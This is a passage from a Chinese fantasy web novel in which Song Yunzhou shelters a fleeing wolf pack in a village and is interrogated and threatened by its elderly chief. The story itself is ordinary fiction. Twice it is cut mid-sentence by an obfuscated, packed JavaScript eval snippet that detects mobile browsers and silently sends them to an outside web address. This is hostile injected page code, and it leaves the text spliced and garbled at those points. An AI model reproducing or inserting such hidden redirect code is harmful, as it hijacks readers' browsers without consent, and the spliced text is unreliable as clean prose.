哥哥的目光转向宋云州,他知道时间紧迫,于是迅速回答:“我们总进森林,身上长期备着应急的药物,虽说都是人用的,但或许可以给它试试。” 宋云州毫不耽搁,用身体挡开狼群,给他们让开一条路。 兄妹俩快步跑过来,围到黑狼身边,哥哥把举着的火把递给妹妹,动作迅速地拿开浸透了血的布条,翻检黑狼的伤口。 宋云州和这两个陌生人的距离太近了,他将手里的剑又握紧了些。 黑狼伤口的血流得不像刚才那么快了,但已经流出的鲜血在它身下聚了一小滩。 哥哥拿出布袋里一个被皮子包住的小包裹,里面有止血的药粉,还有缝合伤口用的针线。 他把所有药粉全部洒在了黑狼的伤口上,不管效用如何,赶紧捏住裂开的皮肉,用针线将其缝合。 黑狼的气息愈加微弱,几乎只剩了出气,没有进气,被针扎进肉里也没有任何反应。 哥哥拧干布条沾的血,用力包扎好伤口,这才呼出一口气。 妹妹半跪在黑狼头部附近,忧心地看它半闭着眼喘息。 兄妹俩专心为黑狼治伤,全程没往宋云州这边瞥哪怕半眼,将大半后背留给了拿着剑的宋云州。 宋云州确认他们没有多余动作,这才稍稍放松下来。 哥哥忙完手上的事情,站起身面向宋云州,并无把握地说:“我只做了简单的包扎,它流的血太多了,未必能撑下去。” 宋云州点点头:“谢谢。” “它们不是受狼神庇佑吗?”仍待在黑狼身边的妹妹问道,“为什么还会受这么重的伤?” 宋云州心有所想,故意重复道:“狼神?” “悬铃森林中有一匹极特殊的狼,相传它的皮毛光华璀璨胜过满天繁星,它拥有魔法,能够保护狼群免遭猎杀,我们就称它为‘狼神’。”哥哥解释给宋云州听,随即疑惑地问,“你没见到狼神吗?那这些狼为什么会跟着你?” 宋云州不答反问:“你凭什么断定我去过悬铃森林?” “因为狼神存在,附近所有的狼群都自发去悬铃森林里生活了。”哥哥的语气理所当然,他侧头看了妹妹一眼,“悬铃森林是禁地,我们还是在很小的时候远远见过一次狼。” 宋云州算是明白这两人看到狼时的惊喜感从何而来了,他把自己所知的情报挑挑拣拣地告诉了他们一些。 “悬铃森林着了大火,有军队围山猎狼。我恰巧从外侧经过,撞见这群狼逃离,意外救了它们的幼崽,就一路跟着它们胡乱跑了过来。”宋云州的眼神朝黑狼瞟了瞟,“我看见时它就已经受了伤,没遇到什么狼神。” 这场变故显然在兄妹俩的意料之外,他们一齐倒吸了一口冷气,震惊不已。 妹妹忙问:“刚才的巨响和此事有关?” 宋云州隐去了魔法的成分,随口说:“山石受不了火焰炙烤,崩塌了。” 宋云州抱着狼崽,加上身边这群如假包换的狼,非常具有说服力,兄妹俩几乎是瞬间就相信了他的话。 哥哥垂眸思索了一下,转头对妹妹说:“我们现在就返回村子吧,这件事必须赶紧告知村长婆婆。” 妹妹立刻点头同意。 宋云州以为兄妹俩抬脚就要离开,不料哥哥转而热情地邀请他:“你们要不要跟我们一起回村?” 宋云州拒绝道:“可能很快就会有追兵赶来,我们得继续往远处走了。” “此处离悬铃森林已经足够远了,一时半会儿没人能找到这里。村子不算远,至少今晚你们可以放松休息,明天再往远处跑也来得及。”哥哥态度真诚地向宋云州提议,“而且这匹受伤的狼也能得到更好的照料。” 说到黑狼,宋云州确实犹豫了,若是继续赶路,就只能把它扔下等死,这并不是宋云州所愿发生的事情。 既然决意要救,私心里,他希望可以保全这群狼。 片刻后,宋云州跟着兄妹俩走在了回村子的路上,他没靠得太近,和另两人之间隔了三四匹狼的距离。 哥哥用坚韧的细藤牢牢缠住黑狼的嘴,防止被它误伤,他手臂肌肉蓄力一抬,双手分别抓住黑狼的两条前腿和两条后腿,将它稳稳当当扛在肩颈上。 妹妹举着火把照明,蠢蠢欲动地几次回头看向宋云州怀里的狼崽,很想凑过来摸摸它。 宋云州的眉眼看着温柔,此时的眼神却实在冷淡,一下子就把她劝退了。 妹妹暗自瘪了瘪嘴,摸不着狼崽,她还能摸大狼,遂凑到哥哥身边,悄悄抬手摸了一把黑狼硬挺的背毛,心满意足地偷笑。 宋云州在后方注视着兄妹俩的举动,逐渐卸下了防备。 怕引来追兵,一路上谁都没有说话,闷头赶路加快了行进速度,宋云州没过多久就看到一片村庄的轮廓。 村落位于森林一侧的山脚下,屋舍错落分布,占据了不小的一片谷地。 时值夜半,绝大多数人家都熄着灯安眠,悬铃森林遭遇的变故并未对这里产生多大的影响。 月光静谧照耀下,有人正站在村口眺望,望见兄妹俩,立刻奔跑着迎过来,但他没跑几步就止住了脚步,震惊地向后退却。 哥哥上前与那人简要说明情况,那人惊疑不定地探头看了宋云州几眼,撒腿跑回了村子。 兄妹俩带着宋云州和狼群回到了他们家的院落中。 狼群在篱笆围起的院子里踱步,听到消息从床上爬起来的村民们围在院落外,向里面探头探脑,小声交谈着。 宋云州解下背包,放在屋内的方桌上,他和妹妹一起把一条厚毯子平铺在地上,好让哥哥将黑狼放下来。 黑狼的气息依旧微弱,不过好在情况没有更加恶化。 哥哥翻箱倒柜找出适合的草药,碾碎制成药汁,同时嘱咐妹妹去厨房拿些吃的过来。 宋云州解开黑狼腿上染着血的布条,这时才跟他们交换了名字。 哥哥桑古,妹妹莫莉,两人年幼时,父母进山打猎不幸受伤身亡,兄妹俩在其他村民的帮衬下长大,现在也能独立支撑起这个家了。 桑古没什么戒心,三言两语大致讲了自己的情况,淳朴地笑了笑,说:“村长婆婆对我们很照顾,生活算不上辛苦。” 宋云州用干布擦去黑狼伤口处的血渍,桑古将药汁仔细涂抹上去,用新布条重新包扎了伤口。 莫莉带宋云州去洗了手,把一大碟肉干推到他面前,轻快道:“你尝尝,这是我们自己做的,味道很好。” 宋云州用手捻了一小块来吃,肉质又薄又韧,很有嚼劲,且肉香随着咀嚼越发浓郁,咽下后仍齿间留香。 宋云州肯定地点了点头,对莫莉笑了一下,刚想张嘴夸一句好吃,就听屋外细细碎碎的人声一下子静了下来。 安静到来得十分突兀,宋云州下意识握住剑柄,长剑出鞘一寸,莫莉和他一同扭头看向屋外。 桑古走出门探头望了一眼,又快步返回屋内,他面上带着笑,安慰宋云州道:“不用紧张,是村长婆婆来了。” 宋云州跟兄妹俩走到院子里,正好看到有两人正朝他们这里走来。 侧前方举着火把带路的正是他们在村口见过的青年,他身后跟着的是一位头发花白的老太太,拄着木拐杖,脊背微微佝偻,皮肤上满是岁月留下的褶皱,看起来应该已至耄耋之年。 老太太腿脚还很灵便,一路与青年同行,却不见一丝疲累。 一众村民安静地立在道边,等老太太靠近后整齐鞠躬行了个见礼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142454|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老太太视线扫过身侧院中的狼群,神情肃然,手中结实的黄褐色藤木拐杖顿了一下地面,不怒自威地声音响起:“都回去。” 村民们连一星半点不愿意的表情都没显露,就立刻顺从地各自散去。 桑古在这时轻拍了一下宋云州的肩膀,等宋云州疑惑扭头看过来,他便凑上来小声耳语,善意地将村长婆婆介绍给宋云州。 老太太名为邓恩,自年轻时接任村长之职,至今已有六七十个年头,在村中极有威望。 桑古说村长婆婆总是一脸冷色,看上去有些难以相处,但实际上很温暖,是位亲切和蔼的长辈。 待村民们散了个干净,邓恩这才只身进入小院,狼群在她踏入院落的那一刻纷纷亮出尖牙利爪,自两侧围上来,威胁地低吼着。 邓恩却面不改色,毫无惧意地淡然抬步向前,狼群没有得到进攻命令,也只能眼睁睁看着她向屋舍靠近。 宋云州学着桑古和莫莉恭敬鞠躬行礼,称了一声:“村长。” 邓恩审视的目光扫过宋云州,与宋云州坦然的眼神接触一瞬,随后她继续向屋中走去,给身后三人留下一句:“进来吧。” 宋云州在邓恩对面坐下,顺手将趴在桌上的狼崽重新抱进怀里,安静注视着眼前的老太太。 桑古和莫莉给桌边的两人各添了一杯水,见村长婆婆没让他们回避,便搬了凳子坐到离桌子不远的墙边。 邓恩看了宋云州臂弯里的狼崽一眼,话音老迈却中气十足:“自悬铃森林封闭之后,你还是第一个敢与狼群亲近之人。” 正如桑古所言,邓恩虽不苟言笑,但她说出的话给人的感觉就如同闲话家常一般。 宋云州放松地询问道:“我对悬铃森林的旧事并不怎么了解,今夜不过偶然途经,不知道村长为什么要这么说?” 邓恩垂眸看向手边的水杯,似乎不太相信宋云州的话,沉默半晌,她开口道:“燎原的火种早已埋下,这场大火迟早会燃起,只是恰好发生在今夜罢了。” 宋云州旋即正色,听邓恩徐徐说道:“悬铃森林曾为神明属地,彼时它还不叫这个名字,只是一片无名林木,没有沾染半分血腥。直到十多年前,王驾行经此地,意外遭遇狼群伏击,王后险些丧命,幸得卫队及时救援方死里逃生。消息传至王城,国王震怒,即刻下令灭狼。无数士兵持着兵器冲入森林,不止是狼,凡是看见的动物,都被他们尽数斩杀。 “此举触怒神明,他将神力附着在一匹白狼身上,由它率领狼群,反杀所有入侵者,并将他们的尸骸高高挂起,以此震慑后来者,悬铃森林由此得名。在这之后,悬铃森林就变成禁地,白狼成为了此地的守护神,闯入者无一例外都殒命于此。” 宋云州听到这里,没理由再不明白王室为何要大力悬赏猎白狼—— 并非因为那张狼皮有什么特殊作用,而是拥有魔法的白狼狠狠挫败了王国的军队,打了国王、甚至是整个王国一记响亮的耳光,所以为了王室的权威与尊严,白狼必须得死。 或者也可以说,猎狼一事,已经演变为王室与神明的争端。 如此一来,王室给出的悬赏条件必定价值连城,难怪之后还有那么多人不惜性命闯入悬铃森林碰运气,原来是为自己乃至家族中的几代人搏一个一步登天的机会。 而在这种情况下,与狼群亲近,大概与叛国无异。 邓恩果然也说:“那匹狼的存在,本身就是神殿对王权的挑衅,王室恨之入骨,早晚都将爆发一场战争。” “若是你现在将这群狼交出去,哪里还用得着狼狈逃窜,追兵们反而要向你俯首称臣。”邓恩盯着宋云州的双眼,不知真假地诱惑道,“你将获得世袭的王爵之位,千亩良田封邑,享一生富贵荣华。” 宋云州不为所动,淡定反问道:“既然王室给出的报酬如此丰厚,为什么不是由你们将我和狼群一起交出去?整个村子的人不是都能因此受益吗?” 邓恩似是认真考虑了一下宋云州的提议,点了点头,赞同道:“说得是啊。” “只可惜,我们没人稀罕这些赏赐。”紧接着邓恩话锋一转,“我们不认可神明所为,但在那种情况下想要保住狼群,保住这片养育我们几代人的森林,似乎也只有与王军硬碰硬这一个办法。我们无法站到最前线与军队相抗,但在力所能及之处,至少不该背叛森林。” 宋云州大致摸清了这个村子里的人对狼群的态度,他突然很想知道:“如果我刚才动心了,你会怎么做?” 闻言,邓恩忽而微微露出一个笑容,冷肃的面部线条顿时柔和许多,而从她口中说出的话却寒意刺骨:“杀了你,倒也不难。” 27. 洪水猛兽 宋云州了然,同是一笑:“我为救狼群,伤了不少士兵。哪怕我现在想要倒戈投诚,估计还没等凑到军队跟前,就会被他们乱箭射死。没有退路可言了。” 他不放心地问:“村长收留我们,不是也在和国王作对?万一追兵赶来,村中居民会不会受到牵连?” 邓恩不甚在意地端起水杯抿了一口:“你只管在这里放心休息,我自有办法助你们躲避追捕。” 这句承诺使宋云州一直悬着的心终于放了下来,不必再焦虑逃亡的事,他也能想点儿有的没的,单纯满足一下好奇心:“狼群好端端的为什么要伏击王后的车队?” 宋云州记得,邓恩说到这里时用的是“伏击”一词,而不是“攻击”,这说明狼群是故意为之,为什么偏偏是王后呢? 邓恩幽幽答道:“王后命人猎杀幼狼,剥去它们的皮毛制成了一件大氅,狼群是为复仇而来。” 宋云州震惊地低头看向怀里的狼崽,小小的一只不过他的小臂长短,浑身上下也没有多少皮毛可用,若想制成大氅,二三十只狼崽或许都不够。 他疑惑道:“猎到三四只成年狼,不是足可以做一件衣服了吗,何必大动干戈?” 猎人捕猎大多是见好就收,为了将来还有猎可打,不会一次杀掉太多同种动物,而王室一次性猎掉那么多狼崽,几乎可以说是在将狼群赶尽杀绝。 邓恩侧首看了一眼躺在毯子上的黑狼:“自然是因为它们的皮毛不够好看。” 黑狼经历奔波与重伤,身上乌黑的皮毛依旧不难看出硬挺油亮的本质,可若以是否出众评判,也只能说是十分普通,就像在众人脑海中一匹狼应该有的模样。 “那一批新出生的狼崽浸染了神明的力量,使得它们的皮毛皆如星河璨璨,世所罕见,再高明的织工也无法仿制出相近的布匹。”邓恩忍不住叹息一声,“归根结底,还是神明自一开始就不该踏足此地,便不会有今日祸患。” 宋云州却不这么认为:“美丽的皮毛绝非原罪,灾祸只因贪念而起。就算神明不至,王室也有可能因其他想要掠夺的事物而发动战争。” 邓恩摇了摇头:“神明若当真能与王室对抗到底,护住这片森林也好。可他自知力量不足,却还要埋下如此隐患,你看悬铃森林已陷滔天火海,而他此刻又在何处。” 祂应该还在圣坛沉眠吧,宋云州在心里反驳,但还是不能怪神明,谁睡觉时都无法知晓外界发生的事,这很正常,不能什么责任都往祂身上赖。 宋云州又想道,小菠回去求援了,纳卡诺会因为悬铃森林的事唤醒神明吗? 宋云州没和邓恩在这件事上多作争论,转而问道:“王城里不是有位很厉害的大魔法师,他一直没出手干涉这件事吗?” 那位魔法师既然能把神殿赶出王城,想必区区白狼也不在话下,他要是协助王军讨伐,悬铃森林估计撑不到现在。 邓恩说:“萨里希自己定下的契约,他当然要遵守。在肯利埃王国境内,以边城伦达奥之外五百里处为界,萨里希掌管王国核心部分,五百里外至邻国边境的这一片旷野与山林则算作神殿管辖。即便神明已许久不曾出现,这片地域还是神殿的地方,除非萨里希决意将神殿彻底覆灭,不然他是不会来的。” 宋云州咂舌,把没人的荒郊野岭划给神殿,这跟流放没什么两样。 当时离开伦达奥城,小菠先拽着他跑了一阵,才带他回神殿,原来是因为偷偷过来不想让萨里希发现。 可他分明没觉得跑了多久,居然有五百里那么远吗?! 要说萨里希遵守契约,宋云州觉得这么想有些武断,萨里希本人可能的确不会来,但保不齐他会再派出几个像神殿刺杀时用到的尸傀儡,不正是死无对证。 宋云州发现了一个问题:“萨里希这么分,国王能同意吗?” 邓恩道:“王室早已成为魔法的傀儡,他恐怕没有说‘不’的权力。” 邓恩的目光掠过宋云州衣服上的斑斑血迹污渍,在他身上停留片刻,结束了这个话题:“从悬铃森林到村子,你肯定累了,就在这里住下休息吧。桑古和莫莉都是好孩子,见你落难便想帮忙,你完全可以信任他们。” 邓恩叮嘱几句,颤巍巍地拄着拐杖站起身来,就要往外走,宋云州连忙伸手,想搀扶着送她出门,却被邓恩挡开。 邓恩同样拒绝了桑古和莫莉的搀扶,和蔼道:“就这几步路我还走得了,送什么,都留下歇着吧。” 举火把的人一直坐在院落对面的一块石头上等着,见邓恩出来,忙拿起拄在地上的火把,走到篱笆门前。 临出门时,邓恩突然停步,转过半个身子,对宋云州说:“对了,忘了问,你看没看到突袭悬铃森林的军队是由何人率领的?” 宋云州一怔:“这很重要吗?” “不同地方的守军战力不同,有不同应对之法。”邓恩解释之后,让宋云州别在意,“没看到就罢了。” 说完,邓恩便转回身,正欲继续迈步。 宋云州有些迟疑地叫住了她:“我确实见到了一个和那些士兵都不同的人,但我不太确定他是否就是军队首领。” 邓恩看向宋云州,微微颔首,表示愿闻其详。 “士兵们的铠甲都是银白色,只有那人穿着黑甲,”宋云州努力回忆道,同时抬手指了一下自己的右侧上臂,“在这个位置刻着一只鹰……” 他未尽的话语被木拐杖骤然敲地的闷响打断,邓恩出乎所有人意料地朝宋云州急切靠近数步。 她满是皱纹的双眼死死盯着宋云州,此时看来竟显得有些狰狞可怖,她嗓音嘶哑地质问:“他看到你了吗?” 宋云州下意识退了半步,撞上了身后的板凳。 他清楚看到,在他说出“黑甲”这两个字的时候,邓恩的神情一下子就变了,从初见以来的成竹在胸瞬间改换为惊疑震颤与惶然无措。 宋云州不明白这是怎么了,求助地看向旁边的桑古和莫莉,却只看到两双同样茫然不解的眼睛。 兄妹俩不曾见村长婆婆如此失态过。 宋云州动了动嘴唇,如实对邓恩说:“和他交过手,然后我就趁机逃了。” “逃?”邓恩又逼近了宋云州一步,咄咄逼人道,“就凭你?!” 宋云州正要再说话,却听莫莉忽然发出一声惊呼,桑古慌张地大声劝阻道:“村长婆婆!” 宋云州看了兄妹俩一眼,后知后觉地顺着他们的目光看向身后,只见一把小刀正无声地悬停在他的脑后。 他现在保持扭头的姿态,刀尖与他的鼻尖仅有拇指宽的距离。 躲是躲不开了,宋云州深吸一口气,尽量平静地问邓恩:“为什么要突然这样?那个人有什么问题吗?” “穿上那套铠甲的人都是来自地狱的恶鬼,只有他不想杀的人,没有他杀不了的人。”邓恩神神叨叨地低语着,表情极端厌恶如对待洪水猛兽。 “你连这把刀都躲不开,如何能从他手下逃脱?”邓恩逼问宋云州,“说,你跟他究竟是什么关系?!” 不知是心理作用,还是小刀离得又近了些,宋云州甚至能感觉到它散发出的森森寒意。 但无论邓恩再怎么威胁,宋云州只有一个答案:“我根本不认识他,这是第一次见。” 邓恩没在宋云州的眼神中挖掘出欺瞒的痕迹,不管她主观意愿上是否相信,也只能接受无法从宋云州这里榨取更多信息的事实。 “天明之前,就请离开吧。”邓恩对宋云州的信任消失殆尽,下了逐客令。 宋云州哪里有选择的余地,当即顺从地点头答应。 邓恩扫了桑古和莫莉一眼:“你们跟我走。” 兄妹俩不敢违抗邓恩的意思,只是趁着莫莉跟邓恩出门的空当,桑空跑向衣柜迅速翻出了一套自己的干净衣服,放到床上,朝宋云州眨眨眼,让他换上。 宋云州感激地冲他笑了笑。 桑古没多耽搁,跑去追上了妹妹。 拐杖拄地的声音远去,随着三人的离开,宋云州身后的小刀失力坠下,“咚”的一声扎在了桌面上。 宋云州登时闭了闭眼,长舒一口气,卸力坐到了凳子上。 邓恩的反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142455|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应太过莫名其妙,好好的人,怎么说疯就疯了。 细想邓恩的话,宋云州也觉出了一丝不寻常,再怎么说穿黑甲的男人肯定受过格斗训练,在打斗中的应变能力必然也比他高出不少,他那点儿小伎俩真的能出其不意制服那男人吗? 如果男人真有邓恩说的那么厉害,是故意放宋云州走的,又是出于什么目的? 宋云州猜男人是想放长线钓大鱼,揪出背后指使他救狼的人?但直接把他抓起来严刑拷打不是更省力些? 宋云州回想与年轻男人交手的细节,虽说事情才刚发生不久,但当时太过紧张混乱,一些细节宋云州记不太清了,不过打斗过程中,男人似乎说过几句话。 宋云州思绪一顿,当即伸手拔出了挂在腰侧的长剑。 男人那时问起了这柄剑的来历。 宋云州将剑翻来覆去地看了看,这还是他第一次细看霍尔加的剑。 金色的剑柄剑鞘,上嵌各色宝石,华美尊贵,银白剑身纤长轻盈,薄而锋锐,掂在手中却颇有分量,剑身两侧各有两道微微凹陷的平行血槽,以醒目金线装饰,交汇于剑尖。 剑身靠近剑柄的那一小段,阳刻着几个宋云州看不懂的古文字,应该是这柄剑的名字。 男人不会无缘无故问这样一个问题,他必定曾经见过这柄剑。 或许邓恩该问的,是霍尔加和那男人有什么关系。 宋云州看不出线索,握住剑鞘口,将长剑送了回去。 “唰啦”声响,身穿黑甲的年轻男人收剑归鞘,银白剑锋没入少许镂空的纯黑剑鞘,在月色下泛起点点光晕。 骑兵与步兵皆肃静整齐地排列在峡谷口外,只有他骑着马姗姗来迟,从队列间留出的宽道不疾不徐穿行而过。 峡谷口崩落的巨石已被士兵们用魔法协力清开,随时可继续向前追击,但没有人率先行动,都在等待着年轻男人的到来。 一匹黑马在队列最前方不耐烦地来回打转,马背上的人披着宽大的黑色斗篷,兜帽搭在背后,露出头颅,是个容颜姣好的女人。 听到远处传来的马蹄声,女人终于勒停了她的坐骑,待男人策马来到身边,她不阴不阳地笑说:“路途太远,大人的马可能有些累了,不如我为大人换一匹跑得快的好马?” 男人没搭理她,问道:“狼群是从此处逃离?” “是,有一人协助它们逃脱。”女人话中带刺,有意道,“听说大人已和那人正面对上,却故意放走了他,这是为何?难不成大人也对狼群起了恻隐之心?” “这场大火你并未提前告知,破坏了我的部署,还陷所有人于火海。”男人的声音淡漠,没什么感情地说,“知道的是你在捕狼,不知道的还以为你想杀的是我。” 女人赔笑一声,当即否认道:“大人说笑了,就算我真有此心,也绝没有可能做得到啊。” 说这话时,女人晶亮的双眼自男人身后望向他的颈侧,眼中是掩饰不去的憎恶,似是要将目光具象化为利刃。 但她只瞪了一瞬,就马上变回无害的笑脸,因为男人毫无预兆地回身看向了她。 男人的瞳色是浅淡的灰,更令他整个人裹入一团阴郁冷气之中。 “别以为我不知道你做了什么。”他瞥了女人一眼,“你该庆幸我不对杀人上瘾,由着你与这群废物碍眼,否则,回程的路上恐怕就只剩我一个人了。” 男人的目光一触即离,女人却没来由感到一阵胆寒,如同被毒蛇阴冷的信子舔过温热的喉管,不知何时就要张嘴咬下。 面对这明晃晃的威胁,女人掩在斗篷下拉着马缰的双手手背暴起青筋,她知道面前的人不是在信口开河,而是真的能做出这种事。 男人骑在马上的身姿挺拔,他背对女人接着道:“既然你早有计划,又何必在此等我,你们先去追吧。” 女人狠狠咬牙,却只能应下:“那我率众先行一步,大人请便。” 随即,她一夹马腹,最先闯入峡谷,身后骑兵即刻跟上。 男人驻马在峡谷口前,静静看着大队人马自他两侧鱼贯涌入峡谷。 28. 醋包争宠 宋云州考虑了一下是否要将屋门反锁,最后决定保持现状。 扎在桌上的尖刀映着灯烛亮晃晃的,是无声的警告,邓恩想杀他确实不难,若真要动手,十扇木门也挡不得住她,何必白费力气,而且敞着门还方便第一时间察觉到外面的动静。 宋云州避开门口,往屋子内侧走了走,换上桑古找出来的衣服,顿觉清爽许多。 他捡起随手扔在脚边的旧衣,展开看了看,就见上衣满是勾划出的破口,裤子也快被他自己裁成了碎布头,实在没有留下的必要。 宋云州不好意思把这些破烂随手扔在别人家里,干脆拿到院子外直接点火烧了,灰烬埋在土里。 村落中又恢复了宁静,亮灯的人家仍旧没有几户,院落外无人看守,邓恩认定宋云州掀不起什么风浪,默许他可以在这里自由活动。 宋云州倒没有四处活动的心思,一路逃亡是高强度的脑力与体力消耗,他现在身心俱疲,只想找个舒坦的地方好好歇一会儿。 屋中的两张单人床干净又整洁,床头上各摆着好几只做成动物模样的布娃娃,桑古用来放衣服的床可能是他的,但宋云州拿不准。 衣服是换了,可毕竟身上的汗渍和尘埃还在,宋云州不想弄脏了人家的床,眼角余光瞥见黑狼躺的毯子还留有一窄条空隙,当即愉快地提着狼崽和背包坐过去,伸平了双腿。 布瑞德在狭小昏暗的背包里睡了一觉又一觉,这回被宋云州挖出来的时候,还有点没醒盹儿,眼神呆呆地看向宋云州,本能地往他怀里钻了钻。 布瑞德打了个哈欠,脑筋还不大转悠,下意识像往常一样亲昵地磨蹭宋云州,但它很快发觉出不对劲,宋云州的怀抱似乎小了不少,让它有些施展不开。 布瑞德奇怪地扭头去看,这一看可不得了,它震惊发现宋云州的怀里不知道什么时候多了一只黑不拉几的毛茸茸。 黑不拉几的东西窝在宋云州另一侧的臂弯里,闭着眼睛一副十分享受的样子。 布瑞德心中警铃大作,一下子睡意全无,瞪大琥珀色的眼睛,难以置信地抬头看了看宋云州。 宋云州见布瑞德突然抬头,没解其意,以为是它想要摸摸,于是努力在怀里抱满了的状态下,还是抬起一手抚了抚布瑞德的毛毛头。 布瑞德看到宋云州一如往常的温和笑容,顿时炸了毛,它的小脑瓜将这笑容当做宋云州默认他又有了一个新的毛茸茸后,对它的歉意补偿。 布瑞德绝不接受有其他东西取代它的位置,见宋云州无动于衷,它就自己采取行动,圆乎乎的身子稍显笨拙地在宋云州拥挤的怀里转了个身,敌视着黑不拉几的东西,鼓足气力开始冲它大叫,想要从声势上让对方胆寒,自觉地滚离它的地盘。 处于昏迷中的狼崽自然是一声也听不到,宋云州倒是被惊了一下。 布瑞德震怒之下的声音极具穿透力,即刻引来了院子里的几匹狼,站在门口好奇地向里面探头探脑。 宋云州第一次听布瑞德叫得这么凶,紧张地看了又看,可除了它竖起的颈毛,没发现有什么异样。 布瑞德一口气都不带喘地连续嗷嗷叫,嗓子都有点儿劈了,完全没有要安静下来的意思。 宋云州偏头顺着布瑞德的目光看向另一边的狼崽,十分奇怪,这狼崽有哪里不对吗? 宋云州一手抱一个,试探性地把布瑞德和狼崽分得远些,布瑞德果然马上就不叫了。 原来是嫌狼崽挤着它了呀,宋云州自以为找到了问题关键并成功解决了,正要保持着这样的姿势躺下。 谁知布瑞德静了没一分钟,又突然疯狂地抖起毛来,项圈铭牌的哗啦哗啦声响成一片。 这回布瑞德的目光是直直望着宋云州的,圆溜溜的琥珀眼在此时更显晶亮,其中汪着一湾晶莹的泪花。 宋云州被这样楚楚可怜的眼神看得呼吸一滞:“你这是怎么……” 说到一半,宋云州忽而意识到什么,看了眼另一只手上托着的狼崽,又看向布瑞德,不确定地问道:“吃醋了?” 布瑞德是真的伤心了,宋云州居然那么护着黑不拉几的东西,才刚叫了两声就让宋云州那么紧张地把它往远处抱! 布瑞德想跟宋云州发脾气,但抬眼一看到宋云州的脸,脾气是发不出来了,就只有酸涩眼泪一个劲儿地往眼眶里冒。 它舍不得凶宋云州,只能选择用这种方式表达自己极度的委屈,大有宋云州不放开狼崽,它就要抖到所有毛毛都掉光为止的架势。 宋云州也是真的很冤枉,他本想抱着他的布瑞德躺下小睡一会儿,可担心睡着时突发危险来不及保护狼崽,便只好都抱上,不料竟误惹得布瑞德难过。 宋云州知晓缘由,赶快把狼崽放到了身边的毯子上,改换成用双臂抱住布瑞德,软声哄道:“我跟他真的什么关系都没有,人家救了你,我才帮个忙。” 布瑞德平静下来,见宋云州最终还是选了它,暗暗高兴地翘了翘尾巴尖,但表面上它还是耷拉着眼睛,急需安慰地最大限度张开两只前爪,牢牢抱住宋云州,霸道地占据了他的整个怀抱,轻轻哼唧着。 宋云州伸手去拽背包,想给狼崽重新找个隐蔽处待着。 布瑞德察觉这时宋云州的注意力不在自己身上,眼珠一动,偷偷瞄准位置,趁机从宋云州的臂弯里滑下半截身子,抬起后腿又给了狼崽一脚,将它踢得滑开了一段距离,离宋云州更远些。 恰好目睹了这一幕的宋云州:“……” 他连忙侧了个身,严严实实挡住布瑞德和狼崽,这可不兴让其他狼看见。 幸好宋云州待在黑狼背后,狼崽体型又小,站在门口的狼发现不了它们的老大被欺负了。 布瑞德一脚蹬完之后,借力窜回宋云州怀里,和宋云州亲昵蹭蹭的同时,用毛毛遮挡住他的视线,不让他有机会发现狼崽的事。 布瑞德的整套动作行云流水,毫无雕琢痕迹,争宠争得得心应手,宋云州简直都要怀疑它是不是在哪儿报班上过课。 可委委屈屈的小面包实在太招人稀罕了,宋云州根本生不起教育它要和睦相处的念头。 他就像个无可救药的昏庸君王,把布瑞德端正抱好,同时用手背把狼崽抵得离他们更远些,乖顺地贴在布瑞德耳边讨好:“不抱他,只抱你。” 布瑞德的圆耳朵动了动,十分受用地将侧脸往宋云州身前又埋了埋,爪子还是紧紧地抱住他。 宋云州被布瑞德蹭得心中绵软,光靠嘴哄犹嫌不足,正好莫莉端来的肉干还放在桌上,他起身将碟子端来,一块接一块耐心地喂进布瑞德嘴里。 布瑞德微仰着头香香地咀嚼,放松垂在宋云州腿上的毛尾巴一甩,搭上他的手臂,像是反将宋 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烈金斯醒来好也不好,好在他或许有办法带宋云州逃脱追捕,不好在他醒来后,宋云州就不能再挟狼崽以令群狼,万一烈金斯突然发疯倒戈相向,命狼群攻击宋云州,那宋云州和布瑞德就悬了。 因而宋云州必须要让烈金斯明白他是和狼群站在一起的,以求安全。 烈金斯沉默地听完宋云州的话,冷哼一声:“何必说得那么冠冕堂皇,菠萝让你救我,无非是不想让我死在别人手里。” 宋云州争辩道:“如果真是这样,那我们只救你一个不就得了,救下后直接将你带回神殿交给纳卡诺,不去管这群狼的死活不是更轻松吗?” 烈金斯想说什么,却懒得再说,他活动了一下四肢,翻身站了起来,晃晃悠悠地迈出了两步。 烈金斯甩了甩昏涨的脑袋,尽力让自己清醒一些,咬牙道:“早知道就该先把纳卡诺杀了,要是我有了另一半力量,定不容那些宵小鼠辈放肆。” 宋云州自然不会告诉烈金斯,他头晕腿软也有可能是被布瑞德踢的。 烈金斯朝宋云州走来,宋云州友好地扶了他一下。 “不管怎样,”宋云州说,“还是要谢谢你救了布瑞德。” “救他?哈哈哈哈——”烈金斯脚步一顿,像是听到了什么极其好笑的事情,大笑到浑身都在抖动,他眼中透着锐利的精光,紧盯着宋云州反问道,“你怎么知道我不是在害他?” 宋云州被烈金斯的眼神刺到,明明布瑞德现在什么事都没有,他却没来由地觉得心慌。 宋云州缩回了去扶烈金斯的手,搭在布瑞德的背上抚了抚,为自己寻求一丝心安。 布瑞德佯装在宋云州怀里放松地窝着,实际上它在时刻紧密注视黑不拉几的东西的一举一动。 布瑞德对这只狼崽的观感非常不好,认定这家伙是要来和它抢宋云州的。 布瑞德在狼崽刚有动作的时候就提起了十二万分的警惕,此时狼崽又要试图靠近宋云州,它小小的胸膛中蓦地升腾起一股捍卫珍宝的英勇气概。 